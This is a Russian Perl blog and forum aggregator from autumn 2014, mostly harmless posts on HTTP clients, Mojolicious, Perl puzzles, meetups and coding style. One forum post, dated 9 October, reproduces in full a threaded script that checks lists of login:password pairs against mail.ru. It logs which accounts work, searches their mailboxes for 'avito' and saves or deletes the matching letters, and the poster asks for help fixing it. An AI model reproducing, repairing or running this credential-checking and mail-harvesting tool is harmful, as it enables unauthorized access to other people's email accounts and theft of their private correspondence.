Четверг, 27 ноября

Shoor/нал: Как не замусоривать экран при совершении HTTP-запросов средствами модуля Net::Curl::Easy

Чисто перловые HTTP-клиенты, включая широко известный модуль LWP — не самые быстрые, что вполне логично. Гораздо быстрее работают, например, те модули, что используют cURL. В одном из рабочих проектов понадобилось ускорить чтение из сети — это оказалось узким местом. Я проверил — действительно, cURL работает шустрее, чем LWP, при этом к cURL в перле есть несколько интерфейсов. Результаты моего замера вышли такими:

                    Rate     LWP WWW::Curl::Simple   Net::Curl::Easy
LWP                474/s      --              -38%              -88%
WWW::Curl::Simple  760/s     60%                --              -82%
Net::Curl::Easy   4115/s    768%              441%                --

(под LWP здесь понимается LWP::UserAgent).

Шустрый LWP::Curl выбыл из соревнования, потому что я не нашёл, как в нём добавить нужный заголовок к HTTP-запросу. Был проверен ещё и WWW::Curl::Easy — он показал ту же скорость, что и Net::Curl::Easy, вывалив при этом кучу предупреждений — так что он тоже выбыл из забега.

Однако при проведении замера я столкнулся со странным поведением Net::Curl::Easy — при выполнении метода perform на экран (точнее, в STDOUT) иногда выводились полученные данные. Выяснилось, что правильный способ запуска описан в руководстве не на Net::Curl::Easy, а на WWW::Curl — надо не только выполнить запрос, но и указать до выполнения запроса, куда писать полученное содержимое:
# A filehandle, reference to a scalar or reference to a typeglob can be used here.
my $response_body;
$curl->setopt(CURLOPT_WRITEDATA,\$response_body);

В Net::Curl::Easy это тоже сработало.
http://shoorick.ru/2014/11/27/clean-net-curl-easy/

Хабрахабр: Метки / perl: [Из песочницы] Полезное и приятное для разработчика в Mojolicious


Про Mojolicious на Хабре уже несколько раз писали. Фреймворк успешно развивается и, на мой взгляд, становится удобнее для быстрой разработки с каждым днем.

Под катом я собрал несколько приемов работы с фреймворком, которые серьезно упрощают жизнь мне и, быть может, будут полезны для кого-то еще.
Читать дальше →

Вторник, 25 ноября

Сообщество ru_perl в LiveJournal: ищу работу

удаленно. фуллтайм. thecamelsway@gmail.com.

Суббота, 22 ноября

Сообщество ru_perl в LiveJournal: Ищу работу

Удалённо, фуллтайм. Территориально нахожусь поблизости МСК. Обсудить подробности можно по почте lelzak ИНДА mail.ru

Четверг, 20 ноября

Ловушки Perl: Задачи-страшилки про Perl: Такой непростой tsv

Программисту понадобилось быстренько отфильтровать и переформатировать один лог. Исходный файл содержит по одной json-записи в строке, в итоге должен получиться tab separated файл из двух колонок.

Источник данных ненадежный, в прошлый раз в логах попадались буквы вместо цифр, поэтому программист подстраховался eval-ом и валидацией.

Получился такой скрипт:

    #!/usr/bin/perl

use strict; use warnings;

use JSON;

while(<>){ my $data = eval{decode_json($_)}; next unless $data; next unless is_interesting_id($data->{id}) && is_valid_int($data->{sum}); print join("\t", $data->{id}, $data->{sum}); print "\n"; }

sub is_interesting_id { return $_[0] =~ /^5665[0-9]{7,13}$/ ? 1 : 0; }

sub is_valid_int { return $_[0] =~ /^[0-9]+$/ ? 1 : 0; }

Все хорошо? Нет! На выходе некоторые строчки пустые, а некоторые содержат только одно значение вместо положенных двух.

Среда, 19 ноября

Shoor/нал: Из-под отладчика

В перловых скриптах (во всяком случае, в тех, что запущены в юниксоподобных системах) определить, запущены ли они из-под отладчика, достаточно просто — надо проверить, существует ли переменная окружения PERLDB_PIDS:

my $DEBUG = exists $ENV{'PERLDB_PIDS'};

Однако в отладчике, встроенном в Komodo IDE 8.5, такой способ не работает — вместо PERLDB_PIDS устанавливается другая переменная PERL5DB со значением, например, BEGIN require '/opt/komodo/lib/support/dbgp/perllib/perl5db.pl' . А в штатном отладчике переменной PERL5DB нет. Значит, надо проверять обе:
my  $DEBUG
    =  exists $ENV{'PERLDB_PIDS'}
    || exists $ENV{'PERL5DB'};

http://shoorick.ru/2014/11/19/how-to-detect-perl-debugger/

upd/20.11.2014: Всё проще — существует переменная $^P

Вторник, 18 ноября

Shoor/нал: Смотрим размер файла в бесконечном цикле

Для подсчёта количества байт, символов, слов и строк в юникосоподобных операционных системах предназначена программа wc. Иногда хочется запускать её, например, раз в секунду, чтоб следить за выполнением какого-нибудь долгого процесса.

Сделал по-быстрому скрипт, который просто вызывает wc и выводит его результат, пока пользователю не надоест и он не нажмёт Ctrl+C

#!/usr/bin/perl

print STDERR "Press ^C to exit\n"; my $cmd_line = 'wc ' . join ' ', @ARGV; my $out; while (1) $out = `$cmd_line`; chomp $out; print "\cM$out"; sleep 1;


Запустить можно, например, так:
wcloop -l some-big-file.txt

http://shoorick.ru/2014/11/18/watch-for-filesize-in-infinite-loop/


upd/15:48: товарищ подсказывает:
watch -n 1 wc -l?
И верно ведь посдказывает!

Pilat66 blog: Perl — Mojolicious — аутентификация/авторизация

PlugAuth — Pluggable authentication and authorization server.

Mojolicious::Plugin::BasicAuth — Basic HTTP Auth Helper

my $b = $r->under( '/' . $self->prefix => sub { my $c = shift; my $remote_addr = $c->remote_addr; return 1 if $remote_addr =~ /^10.(\d{1..3}).(\d{1..3}).(\d{1..3})$/o; return 1 if $remote_addr eq '127.0.0.1'; if ( $c->basic_auth( realm => sub { my ($user, $password) = @_; [...]

Понедельник, 17 ноября

Хабрахабр: Метки / perl: Zabbix + Communigate Pro: low-level discovery и мониторинг аккаунтов


Предисловие


В своей первой публикации я рассказывал, как можно настроить мониторинг очередей почтовых серверов Communigate Pro (CGP) в Zabbix. Сегодня расскажу о своем небольшом опыте использования low-level discover (LLD) Zabbix для мониторинга количества пользователей в доменах. Сразу скажу, что практический смысл именно от мониторинга количества пользователей, на мой взгляд, небольшой. Сделано это было больше для собственной радости и возможности быстро ответить начальству на вопрос «а сколько у нас пользователей?» без необходимости пробегать по всем серверам.
Читать дальше →

Блог программиста — Perl, Ruby, C#: Использование pid-файлов для предотвращения повторного запуска скрипта

Использование модулей File::Pid, Pid::File::Flock и File::Flock::Tiny. Блокировки файлов, работа с pid-файлами. Работа только одной копии скрипта в один момент времени. Защита от повторного запуска одного и того же скрипта, до того, как первый экземпляр завершит свою работу. Допустим, что есть perl-скрипт, который забирает данные с удаленных серверов. Или разносит данные из одного источника в таблицы […]

Суббота, 15 ноября

Сообщество ru_perl в LiveJournal: Mojo и pagination

Привет сообщество. Подскажите как реализовать пагинацию на моджо? Плагины видел, но не понял, через контроллеры можно?

p. s. Образец хотя-бы, а то мыслей нет. Спасибо.

Пятница, 14 ноября

Сообщество ru_perl в LiveJournal: Perl and Google App Engine

https://code.google.com/p/googleappengine/issues/detail?id=34
Google наконец-то определился с поддержкой Perl. 6 лет на подумать.

Каково Ваше ощущение, Perl выпиливают потихоньку из проектов или винду переживет?

Сообщество ru_perl в LiveJournal: Кто как называет хеш с входными параметрами для функций? )

Я в свое время использовал $opt, потом $param, потом $arg... Хочется понять есть ли какой-то стандарт де-факто или до сих пор разброд и шатания? )

Сообщество ru_perl в LiveJournal: Посоветуйте Try-Catch по фэншую

Чего-то многие старые модули оказываются не безопасные, есть новые типа Try::Tiny, но у него нету няшки типа бэктрейса и другой полезной информации.

Кто чем сейчас пользуется?

Вторник, 11 ноября

Хабрахабр: Метки / perl: Установка, настройка и использование сканера уязвимостей сервера rkhunter


На хабре не раз было упомянуто приложение под названием rkhunter. Хотелось бы остановиться на нем по подробней.

Rkhunter — это сканер различных видов локальных (потенциальных) уязвимостей (бэкдоров, эксплоитов и руткитов) со своей регулярно обновляемой базой.
Он написан на bash и perl, поэтому будет работать под любой серверной ОС на базе unix без каких-либо проблем.



Читать дальше →

Понедельник, 10 ноября

Pilat66 blog: perl — autovivification — запрет autovivification

autovivification — Lexically disable autovivification. — metacpan.org.

Отменяет autovivification — автоматическое типизирование неопределённого объекта при обращении к нему в каком-нибудь контексте. Используется как

no autovivification; # !/usr/bin/env perl use strict; use warnings; { my $hashref; warn ref($hashref); my $a = $hashref->{key_a}; # $hashref stays undef warn ref($hashref); if (exists $hashref->{option}) { # Still undef [...]

Мини-портал Perl на Opennet: Двадцать первый выпуск Pragmatic Perl

Представлен двадцать первый выпуск Pragmatic Perl, русскоязычного журнала о современном программировании на Perl.

Воскресенье, 9 ноября

Сообщество ru_perl в LiveJournal: Редактор для Perl

Привет народ, подскажите какой редактор для perl поставить на Ubuntu? Padre не предлагать, снес эту ужасно глючную весчь! Долго терпел, сил уже не осталось. Поставил Gvim, оооо это такое убожество... мне что-бы перебраться со строки на другую строку надо запоминать сочетания клавиш, режим запоминать редактирования или командный?  В топку!

Спасибо заранее...

Понедельник, 3 ноября

Pilat66 blog: Что должен знать начинающий Perl разработчик о перловой инфраструктуре / Хабрахабр

Подборка рекомендаций по программированию на Perl, полезные модули.

Источник: Что должен знать начинающий Perl разработчик о перловой инфраструктуре / Хабрахабр.

Мини-портал Perl на Opennet: 6 ноября в Москве состоится мероприятие для Perl-программистов

6 ноября в Москве пройдёт мероприятие Moscow.pm, на котором состоится встреча группы московских Perl-программистов, участников всемирной ассоциации Perl Mongers. Место проведения: офис Mail.Ru Group, Москва, Ленинградский проспект, 39, стр. 79. Начало: 19:30. Требуется предварительная регистрация. Для тех, кто не сможет придти будет организована online-трансляция.

Пятница, 31 октября

Shoor/нал: Рельеф — в единых цветах

Когда я пробовал рисовать позиционную физическую карту, не сильно парился о точности соответствия цветов тем, что используются на остальных картах — тыкать пипеткой в соседние карты не хотелось. Приблизительно попал — и ладно, потом подправлю. Однако товарищи вики-географы не дремлют, шлют ссылки на правильные палитры. Хорошо, попробуем исправить.

Итак, список высот и соответствующих им цветов такой:

-10   167 223 210
0     172 208 165
100   168 198 143
200   189 204 150
300   209 215 171
400   225 228 181
500   239 235 192
750   232 225 182
1000  222 214 163
1500  211 202 157
2000  202 185 130
2500  195 167 107
3000  185 152  90
3500  170 135  83
4000  172 154 124
5000  186 174 154
6000  202 195 184
7000  224 222 216
8000  245 244 242
9000  245 244 242

Пересчитывать руками для того, чтоб использовать в Маперитиве — не наш метод. Наш метод — автоматизировать:
#!/usr/bin/perl

while (<>) chomp; my @data = split; printf '%s:#%02x%02x%02x;', @data;


Ну или можно вообще однострочник написать:
perl -nla -F'\s+' -e 'printf "%s:#%02x%02x%02x;", @F' ramp-colors-above-water.txt

Осталось добавить получившиеся цвета к команде маперитива, рисующей рельеф:
generate-hypsometric ramps=-10:#a7dfd2;0:#acd0a5;100:#a8c68f;200:#bdcc96;300:#d1d7ab;400:#e1e4b5;500:#efebc0;750:#e8e1b6;1000:#ded6a3;1500:#d3ca9d;2000:#cab982;2500:#c3a76b;3000:#b9985a;3500:#aa8753;4000:#ac9a7c;5000:#baae9a;6000:#cac3b8;7000:#e0ded8;8000:#f5f4f2;9000:#f5f4f2

Эти цвета не такие насыщенные как те, что получились сначала. Южный Урал в этой палитре получается таким:

Рельеф Южного Урала
http://shoorick.ru/2014/10/31/relief-united-colors/

Сообщество ru_perl в LiveJournal: Mojo & LWP

Приветствую сообщество))) Из примера http://mojolicio.us/perldoc/LWP#MORE-DOCUMENTATION

# Create a request
my $req = HTTP::Request->new(POST => 'http://search.cpan.org/search');
$req->content_type('application/x-www-form-urlencoded');
$req->content('query=libwww-perl&mode=dist');

# Pass request to the user agent and get a response back my $res = $ua->request($req);

# Check the outcome of the response if ($res->is_success) { print $res->content; } else { print $res->status_line, "\n"; }

Добрался таки до авторизации, начал с контактика, получаю:

{"response":[{"id":185667681,"first_name":"Marlik","last_name":"Transcendent"}]}

Как мне дернуть-то это добро? Что-то типа $res->content->ключ ??? Спасибо заранее.

Воскресенье, 26 октября

Ловушки Perl: Задачи-страшилки про Perl: Генерация конфигурации, с хорошим бекапом

Программист исправил ошибку в генерации конфигов из предыдущей задачи.

Кроме того, он улучшил бекап старых конфигов: теперь предыдущие версии будут попадать последовательно в файлы app.conf.bak.1, app.conf.bak.2 и т.п.

Удобно? Да, но есть одна особенность…

    #!/usr/bin/perl

use strict; use warnings;

use File::Slurp; use IO::Prompt;

my $conf_file = "./app.conf";

my $new_conf = generate_conf();

if (-e $conf_file && prompt(-yn, "backup old conf? [yn]" )){ backup_old_conf(); }

write_file($conf_file, {}, $new_conf);

exit;

sub generate_conf { my $conf = '';

#... return $conf; }

sub backup_old_conf { my $i = 0; # бекапим старые версии в файлах .bak.1, .bak.2 и т.д. # проверяем, какие файлы уже существуют... while(-e $conf_file.".bak.".$i++ ){ } # ... и создаем файл с следующим номером rename($conf_file, $conf_file.".bak.".$i) or die "can't backup old conf"; }

Суббота, 25 октября

Сообщество ru_perl в LiveJournal: Mojolicious нужен совет специалистов.

Суть задачки, есть шаблон по управлению записями, записи дергаются из монги. Как бы мне в этот шаблон 'впендюрить' две формы? Вот как это сейчас выглядит:



Хочется выбрать по чекбоксу запись или удалить ее, или отредактировать. Посоветуйте как сделать на каждую кнопку вызов разных action в контроллере. Спасибо.

Среда, 22 октября

Мини-портал Perl на Opennet: Двадцатый выпуск журнала Pragmatic Perl

Представлен двадцатый выпуск Pragmatic Perl, русскоязычного журнала о современном языке программирования Perl.

Вторник, 21 октября

Сообщество ru_perl в LiveJournal: Плагины

А подскажите как красивее реализовать плагины.
Хочется вызывать методы из плагинов таким образом
Foo->method()
При этом в проекте есть
Foo.pm
Foo/Ver_A.pm
Foo/Ver_B.pm
Т.е. хотелось бы как-нибудь в Foo.pm организовать условное переключение на нужный вариант реализации на основании переменной (она будет браться из конфига).


SOLVED

Пятница, 17 октября

Сообщество ru_perl в LiveJournal: Mojo Render

Доброй ночи кто не спит))) Пытаюсь показать страницу из БД, в ссылке id записи, все работает но, не рендерит шаблон. Вернее рендерит но как-то странно, то есть смотришь исходный код, все есть что нужно для отображения страницы, а в браузере неструктурированная каша, ощущение что с лейаутом что-то. Вот образец урла:

http://домен.ру/articles/543afe501f468622a22ea1d1

и даже если ручками добавлять .html ничего не меняется. Смысл такой, показываю урезанные записи на главной странице, при нажатии на сцылку должна полностью открыться эта запись. Короче встрял, потрошу гугл и читаю доки, результат ноль. Подскажите куда копать? Спасибо.

Среда, 15 октября

Ловушки Perl: Задачи-страшилки про Perl: Генерация конфигурации

Программист написал скрипт для генерации конфигов своего приложения из шаблона. В случае, если файл конфигурации уже сущестует, скрипт предлагает забекапить старую версию.

И что, вы думаете, из этого получилось?

    #!/usr/bin/perl

use strict; use warnings;

use File::Slurp;

my $conf_file = "/path/to/app.conf";

my $new_conf = generate_conf();

if (-e $conf_file && confirm("backup old conf?")){ backup_old_conf(); }

write_file($conf_file, {}, $new_conf);

exit;

sub generate_conf { my $conf = '';

# ... генерация ... return $conf; }

sub backup_old_conf { rename($conf_file, $conf_file.".bak") or die "can't backup old conf"; }

sub confirm { my $prompt = shift;

print $prompt." [yn]"; my $choice = <>; return ($choice eq 'y' ? 1 : 0); }

Понедельник, 13 октября

Сообщество ru_perl в LiveJournal: Mojo, MongoDB и курсор

Привет сообщество, пытаюсь дернуть запись из монги.

В action:

my $self = shift;
my $id = $self->stash('id');
my $db = $self->app->database;
my $coll = $db->get_collection( 'articles' );
my $cursor = $coll->find({_id => '$id'});
$self->stash(cursor => $cursor);

в templates:

% my $item = $cursor;

<%= $item %> Курсор в шаблоне MongoDB::Cursor=HASH(0x4821e80)

А так <%= $item->{title} %> фигушки!

Что я делаю не так?

Притом все тоже почти самое только для всех записей работает:

my $cursor = $coll->find({author => 'Marlik'});

while(my $item = $cursor->next){
<%= $item->{title} %>
}

Кто-нибудь знает что за такие подводные камни с id? Ткните носом где и что почитать. Спасибо.

Меркантильный гуру: GitPrep

Перестал лениться и попробовал перейти на GitPrep. Чудесная штука, кстати. Но...

При запуске на шаред хостинге при обращении к гит через https авторизация просто не работает.

https://github.com/yuki-kimoto/gitprep/issues/38 . Последний коммент автора вида "не знаю что с этим делать".

Как этим пользоваться - становится большой загадкой.

upd: нет, конечно будет любопытно переписать это с нуля и предполагая более промышленное использование, но это же куча времени...

Сообщество ru_perl в LiveJournal: Вакансия

Ищу программиста на фул-тайм. Удаленно.
Задача - переписать крупный проект с нуля.
Контакты: aleksandr.khasanov@gmail.com

Пятница, 10 октября

Сообщество ru_perl в LiveJournal: Mojo и ссылка на хэш.

Хелп миии. Прикручиваю авторизацию через Фейсбук, использую OAuth2 плагин, нашел там вот такую типа ссылку на хэш:

Takes a hashref of providers, each one with a hashref of options. For instance:

plugin 'o_auth2', {
iusethis => {
authorize_url => 'iut.com/auth',
token_url => 'iut.com/token',
key => 'foo',
secret => 'bar',
}};

Приложение делаю не лайт, нашел где реализовано на лайт и переделываю под полноценное. Что это за чудо? Это разве ссылка на хэш? И как мне его впендюрить в проект? Спасибо.

Четверг, 9 октября

XPoint.ru | Программирование::Perl::Основы: Помогите наладить работу парсера

Есть вот такой парсер ящиков

#!/usr/bin/perl
 
################# By Fepsis for forum.antichat.ru #################
 
use threads;
use threads::shared;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use HTML::Entities;
 
 
################# Config ###############
 
my $t = 1;          # число потоков
my $modCheckAcc = 0;        # если = 1 - сохраняет валидные в good.txt, не валидные в bad.txt
my $modCheckMess = 1;       # если = 1 - ищет в ящике письма, соответствующие запросу $query, если = 0, то нижеперечисленные функции не будут работать
 
     my $query = 'avito';   # запрос для поиска
 
          my $formatTxt = 0;            # если = 1 - переводит письма в текст (удаляет html теги)
          my $modSaveMess = 1;      # если = 1 - сохраняет найденные письма в папку 'mails'
          my $modDelMess = 0;       # если = 1 - удаляет найденные письма
          my $modSearch = 0;            # если = 1 - ищет в найденных письмах соответствия регулярке $pattern, результат сохраняет в 'SearchResults.txt'
 
               my $pattern = qr/Пользователь (.+?) написал вам сообщение/;      # эта регулярка вытащит "%username%" из строк "Пользователь %username% написал вам сообщение"
 
############### End Config ##############
 
 
my @bas : shared;
my @threads;
 
my $fileBad = 'bad.txt';
my $fileGood = 'good.txt';
my $srchRes = 'SearchResults.txt';
my $mailsDir = 'mails';
my $br = '<br>';
my $type = '.htm';
 
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);
 
open(BASE, 'base.txt');
chomp(@bas = <BASE>);
close(BASE);
 
 
sub logg
     {
    my ($data, $file) = @_;
    open(OUT, ">> ".$file);
    print OUT "$data\n";
    close(OUT);
     }
 
sub arbyte
     {
    my ($i) = @_;
 
    while(my $acc = shift(@bas))
         {
        print 'Thread #'.$i.': '.$acc."\n";
        my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/;
 
        if (authorization($login, $domain, $pass))
             {
            if ($modCheckAcc == 1)
                 {
                logg($acc, $fileGood);
                 }
 
            if ($modCheckMess == 1)
                 {
                check_mess($query, $login, $domain, $pass);
                 }
             }
 
        else
             {
            if($modCheckAcc == 1) {logg($acc, $fileBad);}
             }
         }
 
 
     }
 
 
 
sub authorization
     {
    my ($login, $domain, $pass) = @_;
 
    $cookie_jar->clear();
 
    my $ex = $ua->request(POST 'http://win.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]);
    if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/)
         {
        return 1;
         }
     }
 
 
sub check_mess
     {
    my ($query, $login, $domain, $pass) = @_;
 
 
    my ($ex, @messages, @tmpMess);
 
    my $j = 1;
    while (1)
         {
        $ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/gosearch?q_query='.$query.'&page='.$j);
 
 
 
 
        if (my @tmpMess = $ex->content() =~ /type=\"checkbox\" name=\"id\" value=\"(.+?)\" \/><\/td>/g)
             {
            push(@messages, @tmpMess);
            $j++;
             }
 
        else {last;}
         }
 
 
    foreach (@messages)
         {
        $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/readmsg?id='.$_);
        my ($mess) = $ex->content() =~ /<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>(.+?)<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>/s;
 
        if ($formatTxt == 1)
             {
            $mess =~ s/<.+?>/ /g;
            $mess =~ s/\s+/ /g;
            decode_entities($mess);
            $br = "\n";
            $type = '.txt';
             }
 
        if ($modSearch == 1)
             {
            if ($mess =~ /$pattern/)
                 {
                $res = $1;
                logg($login.'@'.$domain.':'.$pass.' => '.$res, $srchRes);
                 }
             }
 
        if ($modSaveMess == 1)
             {
            logg('### begin ###'.$br.$mess.$br.'### end ###'.$br.$br, $mailsDir.'/'.$login.'#'.$domain.$type);
             }
            if ($modDelMess == 1)
             {
            $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/movemsg?remove&id='.$_);
             }
         }
     }
 
 
 
for my $i (1..$t)
     {
    push @threads, threads->create(\&arbyte, $i);
     }
 
 
foreach my $thread (@threads)
     {
    $thread->join();
     }

Помогите пожалуйста наладить его работу, чтобы он находил и складывал в папку "mails" письма ,содержащие контрольное слово (в примере "avito")
По уверению автора, изначально скрипт работал, но видимо, что то поменялось на mail.ru и парсить содержимое писем он перестал, хотя проверка на валидность работает отлично (проверял).

Вторник, 7 октября

Хабрахабр: Метки / perl: Test::Spec: плюсы, минусы и особенности


image

Test::Spec (https://metacpan.org/pod/Test::Spec) — модуль для декларативного написания юнит-тестов на Perl. Мы в REG.RU активно его используем, поэтому хочу рассказать, зачем он нужен, чем отличается от других модулей для тестирования, указать на его преимущества, недостатки и особенности реализации.

Эта статья не является вводной ни в юнит-тестирование в целом, ни в использование Test::Spec в частности. Информацию по работе с Test::Spec можно получить из документации (https://metacpan.org/pod/Test::Spec и https://metacpan.org/pod/Test::Spec::Mocks). В статье же речь пойдёт о специфике и нюансах этого модуля.

Читать дальше →

Хабрахабр: Метки / perl: Самодельный Dynamic DNS


Статья о том, как за несколько минут своими руками сделать Dynamic DNS с помощью Perl, Yandex DNS API и роутера D-Link.

Многие роутеры D-Link поддерживают встроенную функцию Dynamic DNS.
К сожалению, бесплатно доступны лишь домены вида example.dlinkddns.com.

Есть также очень удобное DNS API от Яндекса.

Этим сочетанием мы и воспользуемся.
Читать дальше →

Мини-портал Perl на Opennet: В Bugzilla устранена опасная уязвимость, открывшая новый вид атак на web-приложения

В выпусках 4.0.14, 4.2.10, 4.4.5 и 4.5.5 системы для ведения базы данных ошибок, контроля за их исправлением и общего координирования процесса разработки Bugzilla устранена опасная уязвимость (CVE-2014-1572), позволяющая поднять свои привилегии и получить доступ к закрытым группам. Теоретически аналогичные ошибки могут присутствовать и в других проектах на языке Perl, использующих модуль CGI.pm и заполняющих хэши неэкранированными значениями функции param.

Пятница, 3 октября

Хабрахабр: Метки / perl: Golf от Moscow.pm для всех




Всех с пятницей! По итогам недавно прошедшей встречи Moscow.pm я хочу предложить всем желающим посоревноваться в решении задачки.

Гольф (англ. golf) — спортивная игра, в которой отдельные участники или команды соревнуются, загоняя маленький мячик в специальные лунки ударами клюшек, пытаясь пройти отведённую дистанцию за минимальное число ударов.
Wikipedia

Игра, в которую я хочу предложить вам поиграть, также называется Golf. Суть ее в том, чтобы решить поставленную задачу за минимальное количество символов.
Читать дальше →

Вторник, 30 сентября

Хабрахабр: Метки / perl: Приглашаем на Moscow.pm и Perl Golf




В четверг, 2 октября, в офисе Mail.Ru Group состоится встреча Perl-программистов Moscow.pm. В этот день для всех гостей выступят двое докладчиков.

Первой выступит Ксения Боброва, ведущий программист Денег Mail.Ru. Тема её доклада «Гибкое конфигурирование Perl-приложения с помощью Dependency Injection». Dependency Injection — это самый простой паттерн, который почему-то не используется многими разработчиками. Ксения считает, что это эффективный инструмент для избавления от некоторых архитектурных особенностей, периодически возникающих при проектировании приложений. Ксения поведает слушателям о том, как лучше всего использовать Dependency Injection и DI-контейнерах, приведёт конкретные примеры, а также расскажет об инструментах, существенно облегчающих работу с контейнерами.

Завершит программу Павел Щербинин, Team lead в проекте Новости Mail.Ru. На примере очень популярной игры Perl Golf Павел поведает о «секретных» операторах Perl. Эта игра — вовсе не классическое компьютерное развлечение, а игра-соревнование для программистов. Её цель — написать программу, решающую некую заранее оговоренную задачу. Побеждает тот, чья программа будет иметь самый короткий код. Естественно, хорошо «играть» в такую «игру» могут лишь те, кто хорошо разбирается в тонкостях и нюансах Perl. Традиционную форму подачи материала докладчик разбавит аналогичным небольшим соревнованием для слушателей. Лучшим достанутся ценные призы. ;-)

У нас будет организована прямая трансляция мероприятия (свои вопросы докладчикам вы можете задать через @MoscowPerl), а видео с прошлых конференций вы можете найти на youtube-канале встречи. Ждём вас в офисе Mail.Ru Group 2 октября ровно к 19.00, и обязательно возьмите паспорт или водительские права. Для участия необходимо пройти регистрацию. Приходите, будет интересно!

Понедельник, 29 сентября

Чтобы не искать: Перевод с английского



Перевел с английского небольшую статью про Перл. Поскольку я вообще ни разу не переводчик и английского не знаю, то переводил два дня с помощью Гугла.

Интересный опыт. Всегда подозревал, что переводить - это весьма заморочная работа, теперь проверил лично.

Основной проблемой, я так понимаю, является даже не перевод, как таковой, а приведение дословного перевода к хорошей  литературной форме, чтобы по-русски звучало понятно и не коряво. Особенно сложно с разными фразеологическими оборотами, у которых в русском языке нет аналогов, приходится ломать голову над тем, как этот оборот переформулировать, не теряя смысла.

Конечно, в техническом тексте таких оборотов не сильно много, но мне и этого хватило:) С другой стороны, в техническом тексте есть своя специфика, которая сама по себе может быть непонятна с первого раза.

Вот, например, предложение:

Uncuddled elses.

Всего два слова. Слово "uncuddled" не переводится Гуглом. Видимо, нет такого слова. Слово "elses" Гугл переводит как "Эльсес", т.е. имя собственное. В сумме получается какая-то ерунда.

На самом деле, тут надо догадаться, что "elses" - это множественная форма от слова "else", которое, в свою очередь, является оператором языка Перл и не переводится. А слово "uncuddled" - это вроде как антоним слова "cuddled", которое переводится как "прижиматься".

Итого получаются какие-то "неприжимающиеся else". Я хоть и пишу на Перле, но почему-то раньше с таким термином не сталкивался. Дополнительное гугление подсказывает, о чем идет речь:

В операторе проверки условия if блок else можно написать на одной строке с закрывающей скобкой основного блока:

if (условие) {
    сделать_то
} else {
    сделать_это
}

а можно блок else перенести на следующую строку:

if (условие) {
    сделать_то
}
else {
    сделать_это
}

Вся разница - в одном единственном переводе строки, на работу кода это вообще никак не влияет. Однако, вопрос о том, переносить ли else на новую строку, или не переносить, является одним из религиозных вопросов оформления кода и не может быть просто проигнорирован.

Так вот - "неприжимающиеся else" - это второй вариант, когда else не прижимается к скобке. Я всегда именно так и пишу, но даже не знал, что для этого есть специальный термин.

Или вот еще предложение для перевода (точнее, два связанных предложения и пример кода):

Don't go through silly contortions to exit a loop at the top or the bottom, when Perl provides the last operator so you can exit in the middle. Just "outdent" it a little to make it more visible:

LINE:
    for (;;) {
        statements;
      last LINE if $foo;
        next LINE if /^#/;
        statements;
    }

Тут я сломал мозг.

Первую часть предложения, до запятой, я не могу перевести дословно. Вроде бы речь идет о том, что, мол, "не надо заморачиваться для выхода из цикла в верху или в низу". Но что такое "выход в верху" или "выход в низу"? В цикле нет никаких выходов "в верху" или "в низу". О чем говорит автор - я не понимаю. Соответственно, перевести это предложение правильно не могу.

Пришлось пойти на сделку с совестью и перевести весьма художественно: "Не делайте бессмысленных проходов по циклу сверху до низу". Общий смысл вроде передан верно, но настоящий переводчик в этом месте делает фейспалм.

А словечко "outdent" во втором предложении?

Есть термин "indent", означающий отступ от начала строки. В приведенном выше примере кода используются два стандартных оступа, размером 4 и 8 пробелов. А вот перед оператором last используется нестандартный отступ размером 6 пробелов. Понятно, что автор использует термин "outdent" как нечто обратное действию "indent". Но такоего термина не существует. Можно сказать что-то вроде "сделай в этой строке отступ", но нельзя сказать "сделай в этой строке отступ в обратную строну".

Автор и сам это знает, поэтому слово "outdent" у него взято в кавычки. Пришлось и мне выдумать в этом месте слово "недоотступ" и тоже взять его в кавычки.

В общем, сложностей в переводе хватает, но процесс довольно интересный. Надо теперь замахнуться на Perl Best Practices, а то без меня, чую, так и не переведут:)

Хабрахабр: Метки / perl: [Перевод] Руководство по оформлению кода на Перле


image

Конечно, у каждого программиста есть свои собственные предпочтения в отношении форматирования, но есть некоторые общие принципы, следование которым делает ваши программы легко читаемыми, понимаемыми и поддерживаемыми.

Главная фишка заключается в том, что ваши программы всегда должны запускаться с флагом -w. При необходимости, вы можете целенаправленно отключить это действие для конкретных участков кода через прагмы no warnings или переменную $^W. Так же, вы должны всегда запускать программы с использованием use strict, либо же четко понимать, почему вы этого не делаете. Прагмы use sigtrap и use diagnostics так же могут быть полезными.

Что касается эстетики оформления кода, то единственная вещь, о которой всерьез заботится Ларри, это то, что закрывающая фигурная скобка многострочного блока должна быть выровнена по вертикали с ключевым словом, начинающим всю конструкцию. Кроме того, у него есть другие предпочтения, которые не так серьезны:
Читать дальше →

Пятница, 26 сентября

Блог программиста — Perl, Ruby, C#: Как реализовать простой ajax-запрос в приложении Catalyst

Как добавить ajax-запрос при разработке Catalyst-приложения. Создание JSON-представления в Catalyst. Возврат данных в формате json. Изменение набора данных во втором элементе select, в засимости от того, какую строку пользователь выбрал в первом элементе select. Примеры perl-кода, html, js-скрипт. Установка jQuery.   К моему сожалению, конец августа и начало сентября — были для меня крайне непродуктивным […]

Среда, 17 сентября

Мини-портал Perl на Opennet: Девятнадцатый выпуск электронного журнала Pragmatic Perl

Представлен девятнадцатый выпуск Pragmatic Perl, русскоязычного журнала о современном программировании на Perl.

Понедельник, 15 сентября

Меркантильный гуру: .

"Padre is now on GitHub"

А поздно.

Понедельник, 8 сентября

Чтобы не искать: RabbitMQ — Отложенные сообщения, часть 2



В первой части не учел один важный момент. Накатал вторую часть.

Хабрахабр: Метки / perl: RabbitMQ — Отложенные сообщения, часть 2


image В предыдущей статье про отложенные сообщения я рассмотрел вариант организации отложенных сообщений для простого случая, при котором все отложенные сообщения имеют одинаковое время задержки. Однако, тут же в комментариях мне указали на то, что этот вариант организации отложенных сообщений создаст проблемы при попытке использовать его для сообщений с различающимся временем задержки.

